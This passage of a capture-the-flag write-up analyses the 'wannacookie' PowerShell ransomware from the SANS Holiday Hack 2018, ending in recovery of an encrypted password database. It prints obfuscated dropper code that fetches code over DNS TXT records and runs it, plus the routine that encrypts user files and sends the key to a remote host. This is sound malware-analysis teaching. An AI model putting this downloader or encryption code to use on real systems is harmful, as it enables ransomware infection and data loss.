  • -NoE - Short for -NoExit, don’t exit after running initial commands
  • -Nop - Short for -NoProfile, don’t load user profile
  • -NonI - Short for -NonInteractive, don’t show the user an interactive prompt
  • -ExecutionPolicy Bypass - Bypass any execution policies
  • -C - Run the string that follows as a PowerShell command.

PowerShell Analysis

After cleaning up the command by adding whitespace and expanding some of the aliases (including the first line, which uses sal = Set-Alias to make a an alias for New-Object), I’m left with this:

Invoke-Expression(
    New-Object IO.StreamReader(
        New-Object IO.Compression.DeflateStream(
            New-Object IO.MemoryStream (,
                [Convert]::FromBase64String([base64 string]),
            ), 
            [IO.Compression.CompressionMode]::Decompress)
        ),
        [Text.Encoding]::ASCII)
    ).ReadToEnd();

Working from the inside out, the command string run by PowerShell takes the following steps:

  • Use the FromBase64String static method from the System.Convert .net class to base64 decode a long base64 string.
  • Create a new memory stream object from the decoded bytes using [IO.MemoryStream] (which is short for New-Object IO.MemoryStream())
  • Create a IO.Compression.DeflateStream object with the bytes, using the Decompress mode.
  • Use an instance of IO.StreamReader to convert the decompressed byte stream into an ASCII string. ReadToEnd() is called on this stream.
  • The resulting ASCII string is the deobfuscated script, which is passed to Invoke-Expression (iex) to execute.

So to figure out what is run, I’ll simply need to take the base64, decode it, and then deflate the results. This seems like a great case for Cyberchef:

The result looks like:

function H2A($a) {
    $o; 
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
    return $o
}; 

$f = "77616E6E61636F6F6B69652E6D696E2E707331"; 
$h = ""; 
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; 
    iex($(H2A $h | Out-string))

I’ll notice the hex string for wannacookie.min.ps1 again. That must have been the downloader I was looking at in the pcap traffic.

The domain it is talking to, erohetfanu.com, is also visible here.

Answer: erohetfanu.com

(Interestingly, no achievement for this one).

Stop the Malware

1545853517580

Overview

While I got no achievement for the last submission, I did get updated information from Alabaster and a new hint as to where to go next:

Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won’t be effective.

I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.

Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!

1546443239249

</a>

Background

When the Wannacry worm was propagating across the internet causing as much as $4 billion worth of damage, a researcher who goes by MalwareTech found in the code that the worm was trying to resolve a long gibberish domain before taking further action. He registered the domain, which acted like a kill switch for the malware, and the worm stopped propagating (at least on internet connected networks)! For the full story, check out Lily Hay Newman’s story in Wired.

Strategy

When working with VBA and PowerShell malware, one of the best ways to figure out what is going on is it use the malware code itself. So I’ll set up in a safe environment (where if something does go wrong, I don’t lose anything important and the mawlare can’t spread), and then look for bits of code I can run to give me what I’m looking for. This strategy is the subject of Chris Davis’ KringleCon talk, Using What the Malware Author Gives You.

PowerShell Dropper Analysis

The code at the end of the previous section starts with an empty string ($h), and then loops over DNS calls for TXT records, appending each to $h. Then the result is passed to a defined function H2A, which is an implementation of a hex to ascii conversion function.

The for loop is for $i in a range from 0 to a number which is calculated with a DNS query:

([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)

I’ll start by looking at that DNS query:

PS C:\Users\0xdf> Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT

Name                                     Type   TTL   Section    Strings
----                                     ----   ---   -------    -------
77616E6E61636F6F6B69652E6D696E2E707331.e TXT    600   Answer     {64}
rohetfanu.com

The code gets the strings result, converts that to an int, and then subtracts one. So, the code that creates the upper bound in the loop returns 63:

PS C:\Users\0xdf> ([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)
63

So there’s a loop on $i from 0 to 63 building a string, $h:

$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings

I’ll try a couple manually just to see what I’m working with:

PS C:\Users\0xdf> (Resolve-DnsName -Server erohetfanu.com -Name "5.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com" -Type TXT).strings
46696c654d6f64655d3a3a437265617465293b6966202824656e635f697429207b24414553502e47656e6572617465495628293b2446696c6553572e5772697465285b53797374656d2e426974436f6e7665727465725d3a3a47657442797465732824414553502e49562e4c656e677468292c20302c2034293b2446696c65

PS C:\Users\0xdf> (Resolve-DnsName -Server erohetfanu.com -Name "54.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com" -Type TXT).strings
7428293b24526571203d2024636f6e746578742e526571756573743b2452657370203d2024636f6e746578742e526573706f6e73653b247265637664203d20277b307d207b317d27202d6620245265712e687474706d6574686f642c20245265712e75726c2e6c6f63616c706174683b69662028247265637664202d657120

It looks like each sends down a hex string. To get the full payload, I’ll just run the code from the document (stopping before it runs the result with iex):

PS C:\Users\0xdf> $f = "77616E6E61636F6F6B69652E6D696E2E707331";
PS C:\Users\0xdf> $h = "";
PS C:\Users\0xdf> foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
>>     $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
PS C:\Users\0xdf> $h.length
16028

I’ll use the hex to ascii function from Wannacookie and print the resulting code:

PS C:\Users\0xdf> function H2A($a) {
>>     $o;
>>     $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
>>     return $o
>> };
PS C:\Users\0xdf> $(H2A $h | Out-String).length
8016

PowerShell Core

Find Kill Switch

From here I can print the body of the code. I’ll put a full version of the code in the Appendix D. The code defines a bunch of functions, and then on the last line, calls one, wanc.

Towards the start of wanc, there’s this block of code:

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
    return
};

If the if statement results true by the result of the Resolve-DnsName not being null, then the function returns, and doesn’t continue the rest of it’s routine. That’s the kill switch that I’m looking for.

Get Killswitch Seed Value

Before I break out that if to make it more readable, I will get the value for that Resolve-DnsName call in the middle.

There’ actually two Resolve-DnsName calls in this if. The first is the outside function, and there’s one internally which resolves a static domain. The internal one is $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings. I suspect I’m digging in the right place, as the hex string “6B696C6C737769746368” decodes as ascii to “killswitch”:

root@kali# echo 6B696C6C737769746368 | xxd -r -p
killswitch

I’ll get that seed value which will help when simplifying the code:

PS C:\Users\0xdf> $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings
66667272727869657268667865666B73

Understand Helper Functions

I’ll look at the H2A, B2H, H2B, G2B, and ti_rox functions. There’s a bunch of these X2Y named functions, which actually turn out to be nicely named, helping my understanding of what’s happening. I’ll paste each one into my local PowerShell session, giving me access to use them. Based on my analysis, here’s what each of these functions does:

  • H2A - Hex to ASCII - Takes a hex string, converts it to an ASCII string:

    PS C:\Users\0xdf> h2a("6141")
    aA
    
  • A2H - ASCII to hex - Takes an ASCII string, converts it to a hex string:

    PS C:\Users\0xdf> a2h("ABCabc")
    414243616263
    
  • H2B - Hex to bytes (as int) - Takes a hex string, returns a list of ordinal values:

    PS C:\Users\0xdf> h2b("61411001")
    97
    65
    16
    1
    
  • B2H - Bytes to hex - Takes an array of ints and returns a hex string:

    PS C:\Users\0xdf> b2h(97,65,16,1)
    61411001
    
  • G2B - Gzip to bytes - Takes a byte array and decompresses it to an array of bytes

  • B2G - Bytes to gzip - Takes a byte array and compresses it and returns an array of bytes

  • ti_rox - Takes two strings and XORs them character by character.

Find Killswitch Domain

Prepped with the return value of the DNS lookup and an understanding of the helper functions, I’ll break apart the function calls in the if to make it more readable:

$p1 = H2B $S1  # Convert hex input to bytes
$p2 = G2B $p1  # gunzip bytes
$p3 = B2H $p2  # convert bytes to hex
$p4 = ti_rox $p3 66667272727869657268667865666B73  # xor two hex strings
$p5 = B2H $p4  # convert bytes to hex
$p6 = H2A $p5  # convert hex to ascii
$p7 = Resolve-DnsName -Name $p6 -ErrorAction 0 -Server 8.8.8.8
if ($null -ne $p7) {return;}

This can be done easily by just running parts of the code. After pasting the helper functions from Wannacookie into my PowerShell session, I can run this and get the name of the domain checked:

PS C:\Users\0xdf> $(h2a $(b2h $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
yippeekiyaa.aaay

Given my understanding of what’s happening now, I can also do it in CyberChef:

1546115753312

Answer: yippeekiyaa.aaay

Once I go into the Ho Ho Ho Daddy Terminal and registry that domain, the objective shows as complete.

Recover Alabaster’s Password

1545853534489

Overview

Alabaster gives me another task, asking me to get his password out of the encrypted database:

Yippee-Ki-Yay! Now, I have a ma… kill-switch!

Now that we don’t have to worry about new infections, I could sure use your L337 security skills for one last thing.

As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.

Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.

One of the passwords will unlock our access to the vault so we can get in before the hackers.

He also unlocks two more hints:

1546444567267

</a>

1546444614179

Get wannacookie.ps1

Alabaster’s hint was a good one. I’ve been working with wannacookie.min.ps1. What if I use the downloader code to get other files? I’ll try wannacookie.ps1. First, get the hex string:

root@kali# echo -n wannacookie.ps1 | xxd -p
77616e6e61636f6f6b69652e707331

Then download the code, and it works.

PS C:\Users\0xdf> $f = "77616E6E61636F6F6B69652E707331";
PS C:\Users\0xdf> $h = "";
PS C:\Users\0xdf> foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {  $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
PS C:\Users\0xdf> $h.Length
21084

Like the min version, I won’t put the full code here, but there’s a copy in the Appendix D.

wannacookie.ps1 Analysis

After the killswitch code, there’s the code that encrypts files:

    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    $Hex_key = $(B2H $Byte_key)
    $Key_Hash = $(Sha1 $Hex_key)
    $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    $cookie_id = (send_key $Pub_key_encrypted_Key)
    $date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    [array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where
 { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    enc_dec $Byte_key $future_cookies $true
    Clear-variable -Name "Hex_key"
    Clear-variable -Name "Byte_key"

That code takes the following steps:

  1. Use the get_over_dns function to request something and store it as a string in $pub_key. The hex decodes to “server.crt”.
  2. Create a random 16 byte key and store it in $Byte_key.
  3. Store a hex version of that key in $Hex_key.
  4. Encrypt the binary key using the public key that was downloaded, and save the resulting string as $Pub_key_encrypted_Key.
  5. Pass that encrypted key to the send_key function, and store the result as $cookie_id.
  6. Create a list of all the .elfdb files in the users Desktop, Documents, Videos, Pictures, and Music folders.
  7. Pass that list of files to the enc_dec function with the binary key and $true to encrypt.
  8. Clear the hex and binary keys from memory.

Strategy

To decrypt Alabaster’s database, I’m going to need the symmetric key. But both the hex and binary versions were cleared from memory, so they won’t be in the memory dump. However, the encrypted copy of the key is not cleared from memory. If I can get that from memory, and then get the private key associated with the public key used to encrypt, I’ll be able to get the symmetric key and decrypt the document.

Memory Analysis

Load Data

I’ll use PowerDump here to look at the memory from the PowerShell process. After git clone, I’ll run it and pass it the memory dump file, and tell it to process:

root@kali# python /opt/power_dump/power_dump.py
==============================
 |  __ \
 | |__) |____      _____ _ __
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |
 |_|   \___/ \_/\_/ \___|_|
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___))
  _____  _    _ __  __ _____
 |  __ \| |  | |  \/  |  __ \
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/
 | |__| | |__| | |  | | |
 |_____/ \____/|_|  |_|_|
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================
 
============================================
: ld powershell.exe_181109_104716.dmp


============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: b

============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2
[i] Please wait, processing memory dump...
[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
: Y

Successfully Processed Memory Dump!

Processing can take a few minutes, but once it’s done, I can search through the data.

Search Example In PowerDump

The way to search in PowerDump is to apply filters, and then print the results.

For example, if I wanted to check for the wannacookie code in memory, I could select option 3 from the main menu:

============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 3

[i] 65 powershell Script Blocks found!
============== Search/Dump PS Script Blocks ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Scripts
dump           | dump [all|num]              | dump specific or all Scripts
contains       | contains [ascii_string]     | Script Blocks must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Scripts length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num===============================================================================
:

That returns 65 code blocks! But if I add a filter to contain the string wanc, which would be in both wannacookie.min.ps1 and wannacookie.ps1, I get just one block, and (though I don’t show it here) it is the min version:

: contains wanc

================ Filters ================
1| CONTAINS 'wanc' in script_blocks 

[i] 1 powershell Script Blocks found!  

Identify Variable Values to Find

Given the hex and binary keys were cleared, I’ll focus on the encrypted key. To make sure I understand how it looks, I’ll just create one myself. After loading all the helper functions, I’ll run:

PS C:\Users\0xdf> $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
PS C:\Users\0xdf> $pub_key.Length
865
PS C:\Users\0xdf> $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([ch
ar]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
PS C:\Users\0xdf> $Hex_key = $(B2H $Byte_key)
PS C:\Users\0xdf> $Key_Hash = $(Sha1 $Hex_key)
PS C:\Users\0xdf> $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
PS C:\Users\0xdf> $Pub_key_encrypted_Key
169c783ebb274353ec0a9a32cc1af4d11fb1b808505d24b44ee7f6b44e1b395559b5b73eaa1c0b52b5bfae77d5b25571a5bf18d05e82f046912a295d6cca0ef6d2dd8141192305230f275b211f157b6e0e64c35960466742c87fbca7c7d774e7a0d5d55c869d9b95283b9fae8ede43c30398f58de5513a687199729a26c7008c92dec2db07c6ed9255b896d066f98fe766fa6216887bfc842de21b253ab24961c47b429da9dfcd6fe3ab1e92c3e4147d1799a4f29a8f3bf0b0c4f9c9cd5ccbbe16bcecfdeef2da8857a867ecbdc6f6a950dceb3a9d21f7eb352cf4ed80f886d7b02c213d432404ae0100e894e84f847a9e4f910bd20e006bcd8c1d3727807bec
PS C:\Users\0xdf> $Pub_key_encrypted_Key.Length
512

So the thing I’m looking for is a 512 character hex string.

While I’m here, I’ll check out the cookie id as well:

PS C:\Users\0xdf> $cookie_id = (send_key $Pub_key_encrypted_Key)
PS C:\Users\0xdf> $cookie_id.Length
16
PS C:\Users\0xdf> $cookie_id[15]
674c6c76514a3462435a
PS C:\Users\0xdf> $cookie_id[15].Length
20

Get Values

Now back to PowerDump, I’ll look at the variables with option 4:

[i] 10947 powershell Variable Values found!

Given that there’s almost 11,000, I’ll need to use filters. First, I’ll look for the encrypted key, and find only one hex string 512 characters long:

: matches "^[0-9a-f]{512}$"

================ Filters ================
1| MATCHES  bool(re.search(r"^[0-9a-f]{512}$",variable_values)) 

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print all
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

I’ll also grab the cookie by filtering on 20 hex characters:

: matches "^[a-f0-9]{20}$"

================ Filters ================
1| MATCHES  bool(re.search(r"^[a-f0-9]{20}$",variable_values)) 

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print all
4739626449686a334d36

That’s a good sign, as that cookie value matches the ID in the image on Alabaster’s terminal screen:

1546208439207

Finally, I’ll see if I can find the sha1 of the key. Since there’s only one 40 hex characters string, that’s likely the sha1 I’m looking for:

1| MATCHES  bool(re.search(r"^[a-f0-9]{40}$",variable_values)) 

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print all
b0e59a5e0f00968856f22cff2d6226697535da5b

I’ll use this hash in a minute.

Get Private Key

In order for this encrypted key to be of any value to me, I’ll need to private key. It’s worth checking to see if by any chance the attacker left it exposed over the DNS C2 channel. A .crt file is often paired with a .key file. If I try to get server.key, it returns a private key:

PS C:\Users\0xdf> a2h "server.key"
7365727665722E6B6579
PS C:\Users\0xdf> get_over_dns 7365727665722E6B6579
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

Decrypt Symmetric Key

With the encrypted key and the private key in hand, I can decrypt it to get the symmetric key used to encrypt the database. It’s certainly possible to do this on Windows, but it’s way easier to jump to linux and use openssl:

root@kali# openssl rsautl -decrypt -inkey server.key -in key.bin.enc -out key.bin -oaep

root@kali# xxd key.bin
00000000: fbcf c121 915d 99cc 20a3 d3d5 d84f 8308  ...!.].. ....O..

root@kali# xxd -p key.bin
fbcfc121915d99cc20a3d3d5d84f8308

I used the -oaep option because otherwise openssl dies complaining about padding. Some googling showed the right flags to fix that.

I’ll sha1 that key and see that it matches the sha1 I pulled from memory (b0e59a5e0f00968856f22cff2d6226697535da5b)! That makes it very likely that I have the right key:

PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> $akey = "fbcfc121915d99cc20a3d3d5d84f8308"
PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> sha1 $akey
b0e59a5e0f00968856f22cff2d6226697535da5b

Decrypt Database

With the key in hand, I’ll set $key = "fbcfc121915d99cc20a3d3d5d84f8308", $File = "C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018\alabaster_passwords.elfdb.wannacookie", and run through the code that does the decrypt, right towards the top of the wannacookie.ps1 source.

PS C:\Users\0xdf> $key = "fbcfc121915d99cc20a3d3d5d84f8308"
PS C:\Users\0xdf> $File = "C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018\alabaster_passwords.elfdb.wannacookie"
PS C:\Users\0xdf> [byte[]]$key = h2b $key
PS C:\Users\0xdf> $Suffix = "`.wannacookie"
PS C:\Users\0xdf> [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
PS C:\Users\0xdf> [System.Int32]$KeySize = $key.Length*8
PS C:\Users\0xdf> $AESP = New-Object 'System.Security.Cryptography.AesManaged'
PS C:\Users\0xdf> $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
PS C:\Users\0xdf> $AESP.BlockSize = 128
PS C:\Users\0xdf> $AESP.KeySize = $KeySize
PS C:\Users\0xdf> $AESP.Key = $key
PS C:\Users\0xdf> $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
PS C:\Users\0xdf> $DestFile = ($File -replace $Suffix)
PS C:\Users\0xdf> $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
PS C:\Users\0xdf> [Byte[]]$LenIV = New-Object Byte[] 4
PS C:\Users\0xdf> $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
PS C:\Users\0xdf> $FileSR.Read($LenIV,  0, 3) | Out-Null
PS C:\Users\0xdf> [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
PS C:\Users\0xdf> [Byte[]]$IV = New-Object Byte[] $LIV
PS C:\Users\0xdf> $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
PS C:\Users\0xdf> $FileSR.Read($IV, 0, $LIV) | Out-Null
PS C:\Users\0xdf> $AESP.IV = $IV
PS C:\Users\0xdf> $Transform = $AESP.CreateDecryptor()
PS C:\Users\0xdf> $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.
Cryptography.CryptoStreamMode]::Write)
PS C:\Users\0xdf> [Int]$Count = 0
PS C:\Users\0xdf> [Int]$BlockSzBts = $AESP.BlockSize / 8
PS C:\Users\0xdf> [Byte[]]$Data = New-Object Byte[] $BlockSzBts
PS C:\Users\0xdf> Do
>>         {
>>             $Count = $FileSR.Read($Data, 0, $BlockSzBts)
>>             $CryptoS.Write($Data, 0, $Count)
>>         }
>>         While ($Count -gt 0)
PS C:\Users\0xdf> $CryptoS.FlushFinalBlock()
PS C:\Users\0xdf> $CryptoS.Close()
PS C:\Users\0xdf> $FileSR.Close()
PS C:\Users\0xdf> $FileSW.Close()

I’ll move the resulting file to my Linux host, I see that that gave me a sqlite db with passwords in it, including the one for the vault:

root@kali# file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002

root@kali# sqlite3 alabaster_passwords.elfdb            
SQLite version 3.25.3 2018-11-05 20:37:38                                 
Enter ".help" for usage hints.                  
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com

Answer: ED#ED#EED#EF#G#F#G#ABA#BA#B

1546454046891

Piano Door

Straight Forward Way

On giving Alabaster his decrypted db, he responds by saying:

I’m seriously impressed by your security skills. How could I forget that I used Rachmaninoff as my musical password?

It also unlocks a hint:

1546453268131

I’ll need to match notes to keys on the keyboard. Luckily, there’s an image in the pdf from the previous section:

1546465614746

I’ll take the notes from the db over to the door and enter it, but I get back a message that the key isn’t right, which matches the hint:

I change the key from E to D, I just need to shift each key up two keys on the keyboard. In an online music program that looks like this:

1546453634072

And that unlocks the door:

And gives me two very similar achievements:

1546454109481 1546454152874

Without The Hint

When I first got to this point, I didn’t think to take the musical string in E to my badge, and thus, I was trying to open this door without the hint from Alabaster about how to change the key. I also had not yet solved objective 8, so I was missing the info on music. Still, the challenge was solvable using just the info I had.

